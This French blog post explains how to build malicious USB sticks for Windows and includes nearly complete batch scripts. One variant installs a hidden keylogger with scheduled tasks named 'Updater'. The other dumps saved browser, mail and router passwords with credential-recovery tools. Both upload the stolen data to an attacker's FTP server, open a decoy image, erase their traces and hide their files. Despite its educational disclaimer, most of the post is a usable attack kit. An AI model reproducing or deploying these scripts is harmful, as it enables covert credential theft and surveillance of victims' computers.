Attaque par clé USB

Attaque par clé USB
Introduction

Voici un projet que je voulais partager depuis longtemps mais je n’ai jamais vraiment eu la motivation de le rédiger. Après un certain temps j’ai finalement décidé de me lancer!

/! Attention /!
Il est strictement interdit de réaliser ce type d’attaque, quelque soit le contexte. Je ne suis donc pas responsable de vos actions. Sachez que ce rapport est fait à titre pédagogique, pour que tout le monde comprenne ce qu’il peut arriver si l’on branche n’importe quel type d’appareil sur notre PC. D’ailleurs, vous remarquerez que j’explique le principe et montre des bouts de code pour réaliser le fait que c’est bien faisable, mais je ne vous explique pas la marche à suivre détaillée.

Quelles traces peut-on retrouver ici?
Lors d’une attaque à l’aide de clés USB il est possible que l’on retrouve quelques traces.
Premièrement si l’utilisateur est vraiment méfiant il peut éventuellement découvrir un bout du script démarrant les logiciels installés sur la clé. Deuxièmement, si il tombe dans le piège, les fichiers sont supprimés quelques secondes après mais il est tout de même possible de récupérer les fichiers supprimés sur une clé à l’aide de software particulier (requiert quelques connaissances, pas à la portée de tout le monde). En cherchant comme il faut, il est possible de trouver l’adresse du serveur FTP.

Principe de fonctionnement:
Nous allons pouvoir créer deux types de clés ici, qui peuvent être récupérées par une victime et branchées sur son ordi personnel (Windows uniquement):

– Une clé keylogger qui permettra de lancer un… keylogger, tous les jours sur la machine cible.
– Une clé qui récupèrera tous les mots de passes enregistrés sur la machine cible.
Une fois ces fichiers récupérés (logs du keylogger ou passwords), ils seront envoyés sur un serveur FTP, appartenant à l’attaquant.

key hand

Mise en place

Vous pouvez télécharger les fichiers nécessaires à cette adresse, le déroulement est le même quelque soit le type de clé que vous voulez essayer:
Keylogger
Passwords Catcher

Pour réaliser une clé, j’ai d’abord placé mes fichiers de sortent à avoir à la racine:
– Un dossier “tmp” contenant tous les logiciels nécessaires
– Un fichier .jpg que vous nommerez comme bon vous semble, la victime devra ouvrir ce fichier pour lancer l’attaque. Info: Depuis Windows Vista, il est impossible de configurer une clé USB lançant un programme toute seule, d’où le clique obligatoire sur le fichier .jpg qui n’est en fait qu’un raccourci pointant sur un script déguisé en image…

A préparer avant la programmation des clés: un serveur FTP. Vous en trouverez en location sur internet, peu chère et fiable. Vous pouvez aussi l’héberger chez vous, comme bon vous semble…

Nous trouvons dans notre dossier tmp les fichiers suivants:

Pour le keylogger:
– config.xml  –> fichier de configuration du keylogger (shadowkeylogger). Modifiez le comme bon vous semble, en utilisant éventuellement les options: screenshots, logs, etc…
– fftp  –> fichier de configuration de connexion au serveur FTP + envoie des fichiers en batch. Ressemble à ça:

open adresse_ip_du_ftp port
nom_utilisateur
mot_de_passe
quote PASV :: FTP en mode passif (si éventuel parefeu etc...)
mput *.rtf :: On envoie les données nécessaires
quit :: fin

– sk.exe  –> keylogger en question (shadowkeylogger).
– goout.bat  –> Script appelant la connexion au serveur FTP en batch.

cd "%APPDATA%tmptmp"
cd logs :: Déplacement dans le dossier de logs
ftp -i -s:..fftp > i.txt :: Envoie sur serveur FTP
del /Q * :: Suppression des anciens logs sur la machine

– xxx.bat  –> où “xxx” est le nom de votre raccourci. Script principal en batch. Ressemble à ça:

@echo off ::Extinction de l'affichage des commandes sur la console
cd tmp

echo "Ouverture en cours, veuillez patienter un instant..."
start "Program FilesInternet Exploreriexplore.exe" http://opnminded.com/blog/wp-content/uploads/2014/01/instagram-photos-nues-filles.jpg :: Affichage d'une image bidon
ping -n 4 127.0.0.1 >nul :: Attendre que l'image soit bien ouverte

del /Q /S "%APPDATA%tmptmp" :: Suppression d'éventuels dossiers déjà présents
mkdir "%APPDATA%tmptmp" :: création d'un dossier caché sur la machine hôte
mkdir "%APPDATA%tmptmplogs" :: création du dossier de log sur la machine hôte

:: Copie des fichiers nécessaires sur l'hôte pour ne pas avoir à laisser la clé branchée
xcopy /Y goout.bat "%APPDATA%tmptmp"
xcopy /Y start_sk.bat "%APPDATA%tmptmp"
xcopy /Y sk.exe "%APPDATA%tmptmp"
xcopy /Y fftp "%APPDATA%tmptmp"
xcopy /Y config.xml "%APPDATA%tmptmp"

:: Suppression des anciennes tâches
schtasks /delete /tn "Updater_Local" /f
schtasks /delete /tn "Updater_Online" /f

:: Programmation du lanchement du keylogger le matin + envoie sur FTP le soir
schtasks /create /tn "Updater_Local" /tr "%APPDATA%tmptmpstart_sk.bat" /sc DAILY /st 09:30:00 /ed 31/12/2015
schtasks /create /tn "Updater_Online" /tr "%APPDATA%tmptmpgoout.bat" /sc DAILY /st 16:30:00 /ed 31/12/2015

:: Suppression des fichiers sur la clé
del *.txt
cd ..
del /ah /Q /S *
del /Q /S tmp*
del /Q /S *

 

Pour le “Password Catcher”
Même principe, sauf que les fichiers ne sont pas copiés sur la machine hôte. On récupère les informations et on envoie le tout sur FTP. Ensuite on vide la clé. Il n’y a donc quasiment que le script principal qui change:

@echo off :: Extinction de l'affichage des commandes sur la console

echo "Ouverture en cours, veuillez patienter un instant..." :: Message simple si doute

start "Program FilesInternet Exploreriexplore.exe" http://www.torse-nu.com/wp-content/uploads/2014/08/exhibe-sportif.jpg :: Affiche une image bidon

:: Programme à lancer pour récupération de données
start "" mailpv.exe /stext mailpv.txt
start "" BulletsPassView /stext BulletsPassView.txt
start "" RouterPassView /stext RouterPassView.txt
start "" WebBrowserPassView /stext WebBrowserPassView.txt

ftp -s:fftp > i.txt :: Envoie sur serveur FTP
:: Vide la clé
del *.txt
del /ah /S /Q *
del /S /Q *

 

Dernier petit détail: il vaut mieux super cacher le dossier “tmp” sur la clé. “Super cacher”, c’est encore mieux qu’un simple “cacher”, c’est à dire qu’il est impossible de les voir même si l’utilisateur coche “voir les fichiers cachés” dans l’explorateur. Pour ce faire, voici les deux commandes nécessaires:

attrib +s +h tmp*
attrib +s +h tmp

 

Conclusion

Globalement, vous avez l’idée et vous pouvez maintenant voir (si ce n’était pas déjà fait) qu’il est bien possible sans trop de difficulté de récupérer des données à distance sans accéder à l’ordinateur. Après il est possible d’imaginer toute sorte de scénario pour que la dite clé arrive entre les mains de la victime. Pour finir, je ne peux que vous avertir de la dangerosité de ce genre de clé, aussi bien du côté victime pour les données, que pour l’attaquant par rapport à la loi…

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée.

*

Ce site utilise Akismet pour réduire les indésirables. En savoir plus sur comment les données de vos commentaires sont utilisées.